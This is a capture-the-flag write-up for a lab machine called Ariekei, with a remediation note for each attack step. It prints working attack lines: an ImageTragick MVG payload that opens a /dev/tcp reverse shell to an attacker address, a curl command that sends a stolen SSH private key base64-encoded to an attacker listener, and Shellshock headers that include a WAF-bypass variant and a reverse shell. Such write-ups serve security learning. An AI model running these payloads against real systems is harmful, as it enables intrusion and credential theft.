Ariekei
Summary
Three TCP services were exposed on $TARGET — two SSH daemons on ports 22 and 1022 running different OpenSSH versions, and an nginx TLS reverse proxy on 443. The server's own TLS certificate advertised two internal virtual hosts in its Subject Alternative Names, revealing a hidden image-conversion app on calvin.ariekei.htb and a CGI-hosting server on beehive.ariekei.htb.
The image-upload endpoint on calvin.ariekei.htb fed files directly to an unpatched ImageMagick build vulnerable to the ImageTragick delegate-injection bug (CVE-2016-3714), which executed my own shell commands and produced an immediate root shell inside the calvin Docker container. From that container, I browsed a Docker bind-mount at /common shared across all site containers, discovering the internal network layout and a plaintext RSA private key at /common/.secrets/bastion_key.
Because the bastion SSH daemon permitted direct root login via public-key authentication with no additional factor, the stolen key was enough to open a root shell on port 1022 and recover the user flag. A parallel attack surface — the beehive.ariekei.htb container running a CGI endpoint backed by Shellshock-vulnerable GNU bash 4.2.37 (CVE-2014-6271) — was independently confirmed reachable after the site's Web Application Firewall was bypassed with an obfuscated payload variant.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"Attack path — how the box was taken
Exact commands 4
Identify open services and collect version banners for all three ports.
$ nmap -Pn -sV -p 22,443,1022 $TARGETExtract SAN entries from the live TLS certificate to discover unlisted vhosts.
$ echo | openssl s_client -connect $TARGET:443 -servername ariekei.htb 2>/dev/null | openssl x509 -noout -ext subjectAltNameRegister all discovered vhosts for local DNS resolution so subsequent curl/browser requests resolve correctly.
$ echo "$TARGET ariekei.htb calvin.ariekei.htb beehive.ariekei.htb" | sudo tee -a /etc/hostsConfirm the image-upload application is reachable on the calvin vhost.
$ curl -sk https://calvin.ariekei.htb/uploadFixLimit the TLS certificate scope to avoid advertising internal virtual hostsMedium
Exact commands 3
Start the reverse-shell listener on my machine before uploading the payload (run in background).
$ nc -lvnp 4444Create the ImageTragick MVG payload; replace $ATTACKER_IP with your machine's IP. IFS substitution avoids space filtering in some environments.
$ cat > /tmp/delegate.mvg <<EOF
push graphic-context
encoding "UTF-8"
viewbox 0 0 1 1
affine 1 0 0 1 0 0
push graphic-context
image Over 0,0 1,1 'https://localhost";bash\${IFS}-c\${IFS}"bash\${IFS}-i\${IFS}>%26\${IFS}/dev/tcp/'"$ATTACKER_IP"'/4444\${IFS}0>%261"'
pop graphic-context
pop graphic-context
EOFUpload the malicious MVG; ImageMagick opens it, the delegate fires, and the reverse shell connects to the listener.
$ curl -sk -F 'file=@/tmp/delegate.mvg' https://calvin.ariekei.htb/uploadFixPatch ImageMagick and lock down its delegate policyCritical
Exact commands 3
List the shared bind-mount root from inside the calvin container shell to identify per-container subdirectories.
$ ls -la /common/Enumerate every file on the shared mount to locate secrets, keys, and configuration files.
$ find /common -type f 2>/dev/nullRead the WAF nginx config to map internal proxy targets, backend IP addresses, and routing rules.
$ cat /common/containers/waf-live/nginx.confFixRemove credentials from the shared Docker bind-mount and use Docker SecretsCritical
Exact commands 4
Confirm bastion_key is present and its permissions allow reading from the current shell.
$ ls -la /common/.secrets/Start an HTTP listener on my machine to receive the exfiltrated key content (run in background).
$ python3 -m http.server 23200Exfiltrate the private key via a base64-encoded GET request from the calvin shell; decode the URL path segment from listener logs to reconstruct the key file.
$ curl -s "http://$ATTACKER_IP:23200/$(cat /common/.secrets/bastion_key | base64 -w0)"After saving the decoded key locally on my machine, set correct permissions so the SSH client will accept it.
$ chmod 600 /tmp/bastion_keyExact commands 3
Connect as root using the stolen key. The legacy algorithm flags are required for the old OpenSSH 6.6.1p1 host.
$ ssh -i /tmp/bastion_key -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa -p 1022 root@$TARGETConfirm root identity and verify the host is the bastion, not another container.
$ id && hostnameLocate and read the user flag (value redacted: <user.txt>).
$ find / -name user.txt -maxdepth 6 2>/dev/null -exec cat {} \;FixDisable direct root SSH login on the bastion hostCritical
Exact commands 3
Standard Shellshock probe — WAF returns HTTP 403, confirming the filter is active but revealing the endpoint exists.
$ curl -sk -H 'User-Agent: () { :;}; echo; /usr/bin/id' https://beehive.ariekei.htb/cgi-bin/statsObfuscated Shellshock payload that bypasses the WAF signature; a successful response body contains the id output as www-data.
$ curl -sk -H 'X-Test: (){ _;}>_[$($())] { echo; /usr/bin/id; }' https://beehive.ariekei.htb/cgi-bin/statsUpgrade to a reverse shell via Shellshock; replace $ATTACKER_IP and start nc -lvnp 4445 first.
$ curl -sk -H "X-Test: (){ _;}>_[$($())] { echo; bash -i >& /dev/tcp/$ATTACKER_IP/4445 0>&1; }" https://beehive.ariekei.htb/cgi-bin/statsFixPatch bash on the beehive container and restrict CGI executionCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 443/tcp | ssl/http nginx 1.10.2 |
| 1022/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.